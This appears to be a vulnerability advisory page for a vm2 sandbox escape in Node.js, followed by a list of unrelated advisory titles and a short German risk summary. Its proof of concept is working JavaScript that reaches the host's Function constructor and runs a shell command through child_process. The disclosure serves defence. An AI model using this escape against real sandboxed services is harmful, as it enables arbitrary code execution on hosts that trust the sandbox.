vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.

Affected: npm: vm2

### Summary By combining `Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")`, `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code.

### PoC ```js "use strict";

const { VM } = require("vm2"); const vm = new VM();

vm.run(` "use strict";

const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");

async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); }

try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" }); } }

f(); `); ```

### Impact Sandbox Escape → RCE

shell-quote: shell-quote: Arbitrary code execution via command injection due to unescaped line terminators json-2-csv: json-2-csv: CSV Injection vulnerability allows arbitrary code execution via `preventCsvInjection` bypass. crypto/x509: golang: golang crypto/x509: Denial of Service via excessive processing of DNS SAN entries net: golang: Go net package: Denial of Service via long CNAME response in LookupCNAME net/mail: golang: Go net/mail: Denial of Service via crafted email inputs axios: Axios: HTTP Transport Hijacking via Prototype Pollution axios: Axios: Arbitrary HTTP header injection via prototype pollution axios: Node.js: Axios: Denial of Service via unbounded recursion in toFormData with deeply nested request data axios: Axios: Authentication bypass due to prototype pollution of HTTP error handling axios: Axios: NO_PROXY bypass via crafted URL axios: Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget ip-address: ip-address: Cross-site scripting via improper HTML escaping of untrusted input net/mail: golang: net/mail: Denial of Service via pathological email address parsing axios: Axios: Information disclosure of proxy credentials via HTTP redirects axios: Axios: Information disclosure of proxy credentials via redirect flows axios: Axios: Denial of Service due to unenforced request and response size limits axios: Axios: Proxy bypass via IPv4-mapped IPv6 address non-normalization axios: Axios: Man-in-the-Middle (MITM) attack via Prototype Pollution…

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um beliebigen Programmcode auszuführen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren und vertrauliche Informationen offenzulegen.